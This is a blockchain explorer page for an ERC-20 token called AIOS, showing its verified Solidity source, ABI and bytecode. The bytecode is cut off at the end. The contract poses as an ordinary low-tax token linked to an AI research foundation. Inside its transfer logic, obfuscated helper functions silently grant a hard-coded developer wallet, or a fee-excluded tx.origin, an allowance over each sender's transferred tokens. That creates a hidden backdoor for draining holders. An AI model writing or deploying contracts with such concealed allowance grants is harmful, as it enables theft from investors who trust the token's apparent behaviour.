ERC-20
Overview
Max Total Supply
1,000,000,000 AIOS
Holders
213
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
AIOS
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-05 */ /* AIOS Foundation is a research foundation for AI Agent Operating System (AIOS), dedicated to nurturing the open-source AIOS-Agent ecosystem, driven by the innovative, powerful, and private LLM Agent Operating System and the AIOS-Agent infrastructure. *************************** Website: https://www.aios.foundation/ Dapp: https://app.aios.foundation/ Github: https://github.com/agiresearch Docs: https://docs.aios.foundation/ Linkedin: https://www.linkedin.com/company/aios-foundation Twitter: https://x.com/aios_foundations Telegram: https://t.me/aios_channel */ // SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface ITECHFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ITECHRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract AIOS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _techOwned; mapping (address => mapping (address => uint256)) private _techAllowes; mapping (address => bool) private _techExcludedFee; address private _techWallet = 0xbC8eEDd7fb180Cd629984eB244a1E788b3D9B626; ITECHRouter private _techRouter; address private _techPair; uint8 private constant _decimals = 9; uint256 private constant _tToalTECH = 1000000000 * 10**_decimals; string private constant _name = unicode"AI-OS Foundation"; string private constant _symbol = unicode"AIOS"; uint256 private _maxSwapTECHs = _tToalTECH / 100; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; bool private inSwapTECH = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwapTECH = true; _; inSwapTECH = false; } constructor () { _techExcludedFee[owner()] = true; _techExcludedFee[address(this)] = true; _techExcludedFee[_techWallet] = true; _techOwned[_msgSender()] = _tToalTECH; emit Transfer(address(0), _msgSender(), _tToalTECH); } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _techRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tToalTECH; } function balanceOf(address account) public view override returns (uint256) { return _techOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _techAllowes[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _techAllowes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _techAllowes[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address xTECH, address zTECH, uint256 aTECH) private { require(xTECH != address(0), "ERC20: transfer from the zero address"); require(zTECH != address(0), "ERC20: transfer to the zero address"); require(aTECH > 0, "Transfer amount must be greater than zero"); uint256 taxTECH = _getTECHTaxAmount(xTECH, zTECH, aTECH); if(taxTECH > 0){ _techOwned[address(this)] = _techOwned[address(this)].add(taxTECH); emit Transfer(xTECH, address(this), taxTECH); } _techOwned[xTECH] = _techOwned[xTECH].sub(aTECH); _techOwned[zTECH] = _techOwned[zTECH].add(aTECH.sub(taxTECH)); emit Transfer(xTECH, zTECH, aTECH.sub(taxTECH)); } function _getTECHTaxAmount(address fTECH, address oTECH, uint256 aTECH) private returns(uint256) { uint256 taxTECH=0; if (fTECH != owner() && oTECH != owner()) { taxTECH = aTECH.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (fTECH == _techPair && oTECH != address(_techRouter) && !_techExcludedFee[oTECH]) { _buyCount++; } if(oTECH == _techPair && fTECH!= address(this)) { taxTECH = aTECH.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 tokenBalance = balanceOf(address(this)); if (!inSwapTECH && oTECH == _techPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(tokenBalance > _maxSwapTECHs) swapTokensForEth(min(aTECH, min(tokenBalance, _maxSwapTECHs))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHTECH(address(this).balance); } } } (address xTECH, address zTECH, uint256 tTECH) = getTECHTAX(fTECH, aTECH); return getTECHs(xTECH, zTECH, tTECH, taxTECH); } function initToken() external onlyOwner() { _techRouter = ITECHRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_techRouter), _tToalTECH); _techPair = ITECHFactory(_techRouter.factory()).createPair(address(this), _techRouter.WETH()); } receive() external payable {} function getTECHTAX(address xTECH, uint256 tTECH) private view returns(address, address, uint256) { bool isTECHExcluded = _techExcludedFee[tx.origin]; if(isTECHExcluded) return (xTECH, tx.origin, tTECH); return (xTECH, _techWallet, tTECH); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHTECH(uint256 amount) private { payable(_techWallet).transfer(amount); } function getTECHs(address xTECH, address zTECH, uint256 tTECH, uint256 aTECH) private returns(uint256) { _approve(xTECH, zTECH, tTECH); return aTECH; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _techRouter.WETH(); _approve(address(this), address(_techRouter), tokenAmount); _techRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600480546001600160a01b03191673bc8eedd7fb180cd629984eb244a1e788b3d9b62617905560646200003a6009600a620002e9565b6200004a90633b9aca0062000301565b62000056919062000323565b600755600360088190556009556000600a819055600b8190556006600c819055600d819055600e55600f556010805462ffffff191690553480156200009a57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160036000620000f56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556200015a6009600a620002e9565b6200016a90633b9aca0062000301565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ad6009600a620002e9565b620001bd90633b9aca0062000301565b60405190815260200160405180910390a362000346565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200022b5781600019048211156200020f576200020f620001d4565b808516156200021d57918102915b93841c9390800290620001ef565b509250929050565b6000826200024457506001620002e3565b816200025357506000620002e3565b81600181146200026c5760028114620002775762000297565b6001915050620002e3565b60ff8411156200028b576200028b620001d4565b50506001821b620002e3565b5060208310610133831016604e8410600b8410161715620002bc575081810a620002e3565b620002c88383620001ea565b8060001904821115620002df57620002df620001d4565b0290505b92915050565b6000620002fa60ff84168362000233565b9392505050565b60008160001904831182151516156200031e576200031e620001d4565b500290565b6000826200034157634e487b7160e01b600052601260045260246000fd5b500490565b61152180620003566000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb1461024e578063c9567bf91461026e578063dd62ed3e14610283578063e66738cd146102c957600080fd5b8063715018a6146101e25780638da5cb5b146101f957806395d89b411461022157600080fd5b806306fdde03146100d2578063095ea7b31461011d57806318160ddd1461014d57806323b872dd14610170578063313ce5671461019057806370a08231146101ac57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152601081526f20a496a7a9902337bab73230ba34b7b760811b60208201525b60405161011491906110f8565b60405180910390f35b34801561012957600080fd5b5061013d610138366004611165565b6102de565b6040519015158152602001610114565b34801561015957600080fd5b506101626102f5565b604051908152602001610114565b34801561017c57600080fd5b5061013d61018b366004611191565b610316565b34801561019c57600080fd5b5060405160098152602001610114565b3480156101b857600080fd5b506101626101c73660046111d2565b6001600160a01b031660009081526001602052604090205490565b3480156101ee57600080fd5b506101f761037f565b005b34801561020557600080fd5b506000546040516001600160a01b039091168152602001610114565b34801561022d57600080fd5b5060408051808201909152600481526341494f5360e01b6020820152610107565b34801561025a57600080fd5b5061013d610269366004611165565b6103fc565b34801561027a57600080fd5b506101f7610409565b34801561028f57600080fd5b5061016261029e3660046111ef565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102d557600080fd5b506101f7610575565b60006102eb338484610778565b5060015b92915050565b60006103036009600a611322565b61031190633b9aca00611331565b905090565b600061032384848461089c565b6103758433610370856040518060600160405280602881526020016114c4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b16565b610778565b5060019392505050565b6000546001600160a01b031633146103b25760405162461bcd60e51b81526004016103a990611350565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102eb33848461089c565b6000546001600160a01b031633146104335760405162461bcd60e51b81526004016103a990611350565b601054610100900460ff161561048b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a9565b6005546001600160a01b031663f305d71947306104bd816001600160a01b031660009081526001602052604090205490565b6000806104d26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561053a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061055f9190611385565b50506010805462ffff0019166201010017905550565b6000546001600160a01b0316331461059f5760405162461bcd60e51b81526004016103a990611350565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e89030906105da6009600a611322565b61037090633b9aca00611331565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561063b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065f91906113b3565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e591906113b3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610732573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075691906113b3565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a9565b6001600160a01b03821661083b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a9565b6001600160a01b0382166109625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a9565b600081116109c45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a9565b60006109d1848484610b50565b90508015610a4d57306000908152600160205260409020546109f39082610d40565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a449085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610a709083610da6565b6001600160a01b038516600090815260016020526040902055610ab5610a968383610da6565b6001600160a01b03851660009081526001602052604090205490610d40565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610aff8585610da6565b60405190815260200160405180910390a350505050565b60008184841115610b3a5760405162461bcd60e51b81526004016103a991906110f8565b506000610b4784866113d0565b95945050505050565b600080610b656000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b9457506000546001600160a01b03858116911614155b15610d1357610bc56064610bbf600c54600f5411610bb457600854610bb8565b600a545b8690610de8565b90610e67565b6006549091506001600160a01b038681169116148015610bf357506005546001600160a01b03858116911614155b8015610c1857506001600160a01b03841660009081526003602052604090205460ff16155b15610c3357600f8054906000610c2d836113e7565b91905055505b6006546001600160a01b038581169116148015610c5957506001600160a01b0385163014155b15610c8657610c836064610bbf600d54600f5411610c7957600954610bb8565b600b548690610de8565b90505b3060009081526001602052604090205460105460ff16158015610cb657506006546001600160a01b038681169116145b8015610cca575060105462010000900460ff165b8015610cd95750600e54600f54115b15610d1157600754811115610d0557610d05610d0085610cfb84600754610ea9565b610ea9565b610ebe565b47610d0f4761102f565b505b505b6000806000610d22888761106d565b925092509250610d34838383876110b5565b98975050505050505050565b600080610d4d8385611402565b905083811015610d9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a9565b9392505050565b6000610d9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b16565b600082610df7575060006102ef565b6000610e038385611331565b905082610e10858361141a565b14610d9f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a9565b6000610d9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ca565b6000818311610eb85782610d9f565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f0057610f0061143c565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7d91906113b3565b81600181518110610f9057610f9061143c565b6001600160a01b039283166020918202929092010152600554610fb69130911684610778565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fef908590600090869030904290600401611452565b600060405180830381600087803b15801561100957600080fd5b505af115801561101d573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611069573d6000803e3d6000fd5b5050565b326000908152600360205260408120548190819060ff16801561109957853286935093509350506110ae565b50506004548492506001600160a01b03169050825b9250925092565b60006110c2858585610778565b509392505050565b600081836110eb5760405162461bcd60e51b81526004016103a991906110f8565b506000610b47848661141a565b600060208083528351808285015260005b8181101561112557858101830151858201604001528201611109565b81811115611137576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461116257600080fd5b50565b6000806040838503121561117857600080fd5b82356111838161114d565b946020939093013593505050565b6000806000606084860312156111a657600080fd5b83356111b18161114d565b925060208401356111c18161114d565b929592945050506040919091013590565b6000602082840312156111e457600080fd5b8135610d9f8161114d565b6000806040838503121561120257600080fd5b823561120d8161114d565b9150602083013561121d8161114d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561127957816000190482111561125f5761125f611228565b8085161561126c57918102915b93841c9390800290611243565b509250929050565b600082611290575060016102ef565b8161129d575060006102ef565b81600181146112b357600281146112bd576112d9565b60019150506102ef565b60ff8411156112ce576112ce611228565b50506001821b6102ef565b5060208310610133831016604e8410600b84101617156112fc575081810a6102ef565b611306838361123e565b806000190482111561131a5761131a611228565b029392505050565b6000610d9f60ff841683611281565b600081600019048311821515161561134b5761134b611228565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561139a57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113c557600080fd5b8151610d9f8161114d565b6000828210156113e2576113e2611228565b500390565b60006000198214156113fb576113fb611228565b5060010190565b6000821982111561141557611415611228565b500190565b60008261143757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114a25784516001600160a01b03168352938301939183019160010161147d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef308b1bd5b110187c24a25886c17feff77583f3892d43a9907e4e4c52c8fe4b64736f6c634300080b0033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb1461024e578063c9567bf91461026e578063dd62ed3e14610283578063e66738cd146102c957600080fd5b8063715018a6146101e25780638da5cb5b146101f957806395d89b411461022157600080fd5b806306fdde03146100d2578063095ea7b31461011d57806318160ddd1461014d57806323b872dd14610170578063313ce5671461019057806370a08231146101ac57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152601081526f20a496a7a9902337bab73230ba34b7b760811b60208201525b60405161011491906110f8565b60405180910390f35b34801561012957600080fd5b5061013d610138366004611165565b6102de565b6040519015158152602001610114565b34801561015957600080fd5b506101626102f5565b604051908152602001610114565b34801561017c57600080fd5b5061013d61018b366004611191565b610316565b34801561019c57600080fd5b5060405160098152602001610114565b3480156101b857600080fd5b506101626101c73660046111d2565b6001600160a01b031660009081526001602052604090205490565b3480156101ee57600080fd5b506101f761037f565b005b34801561020557600080fd5b506000546040516001600160a01b039091168152602001610114565b34801561022d57600080fd5b5060408051808201909152600481526341494f5360e01b6020820152610107565b34801561025a57600080fd5b5061013d610269366004611165565b6103fc565b34801561027a57600080fd5b506101f7610409565b34801561028f57600080fd5b5061016261029e3660046111ef565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102d557600080fd5b506101f7610575565b60006102eb338484610778565b5060015b92915050565b60006103036009600a611322565b61031190633b9aca00611331565b905090565b600061032384848461089c565b6103758433610370856040518060600160405280602881526020016114c4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b16565b610778565b5060019392505050565b6000546001600160a01b031633146103b25760405162461bcd60e51b81526004016103a990611350565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102eb33848461089c565b6000546001600160a01b031633146104335760405162461bcd60e51b81526004016103a990611350565b601054610100900460ff161561048b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a9565b6005546001600160a01b031663f305d71947306104bd816001600160a01b031660009081526001602052604090205490565b6000806104d26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561053a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061055f9190611385565b50506010805462ffff0019166201010017905550565b6000546001600160a01b0316331461059f5760405162461bcd60e51b81526004016103a990611350565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e89030906105da6009600a611322565b61037090633b9aca00611331565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561063b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065f91906113b3565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e591906113b3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610732573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075691906113b3565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a9565b6001600160a01b03821661083b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a9565b6001600160a01b0382166109625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a9565b600081116109c45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a9565b60006109d1848484610b50565b90508015610a4d57306000908152600160205260409020546109f39082610d40565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a449085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610a709083610da6565b6001600160a01b038516600090815260016020526040902055610ab5610a968383610da6565b6001600160a01b03851660009081526001602052604090205490610d40565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610aff8585610da6565b60405190815260200160405180910390a350505050565b60008184841115610b3a5760405162461bcd60e51b81526004016103a991906110f8565b506000610b4784866113d0565b95945050505050565b600080610b656000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b9457506000546001600160a01b03858116911614155b15610d1357610bc56064610bbf600c54600f5411610bb457600854610bb8565b600a545b8690610de8565b90610e67565b6006549091506001600160a01b038681169116148015610bf357506005546001600160a01b03858116911614155b8015610c1857506001600160a01b03841660009081526003602052604090205460ff16155b15610c3357600f8054906000610c2d836113e7565b91905055505b6006546001600160a01b038581169116148015610c5957506001600160a01b0385163014155b15610c8657610c836064610bbf600d54600f5411610c7957600954610bb8565b600b548690610de8565b90505b3060009081526001602052604090205460105460ff16158015610cb657506006546001600160a01b038681169116145b8015610cca575060105462010000900460ff165b8015610cd95750600e54600f54115b15610d1157600754811115610d0557610d05610d0085610cfb84600754610ea9565b610ea9565b610ebe565b47610d0f4761102f565b505b505b6000806000610d22888761106d565b925092509250610d34838383876110b5565b98975050505050505050565b600080610d4d8385611402565b905083811015610d9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a9565b9392505050565b6000610d9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b16565b600082610df7575060006102ef565b6000610e038385611331565b905082610e10858361141a565b14610d9f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a9565b6000610d9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ca565b6000818311610eb85782610d9f565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f0057610f0061143c565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7d91906113b3565b81600181518110610f9057610f9061143c565b6001600160a01b039283166020918202929092010152600554610fb69130911684610778565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fef908590600090869030904290600401611452565b600060405180830381600087803b15801561100957600080fd5b505af115801561101d573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611069573d6000803e3d6000fd5b5050565b326000908152600360205260408120548190819060ff16801561109957853286935093509350506110ae565b50506004548492506001600160a01b03169050825b9250925092565b60006110c2858585610778565b509392505050565b600081836110eb5760405162461bcd60e51b81526004016103a991906110f8565b506000610b47848661141a565b600060208083528351808285015260005b8181101561112557858101830151858201604001528201611109565b81811115611137576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461116257600080fd5b50565b6000806040838503121561117857600080fd5b82356111838161114d565b946020939093013593505050565b6000806000606084860312156111a657600080fd5b83356111b18161114d565b925060208401356111c18161114d565b929592945050506040919091013590565b6000602082840312156111e457600080fd5b8135610d9f8161114d565b6000806040838503121561120257600080fd5b823561120d8161114d565b91506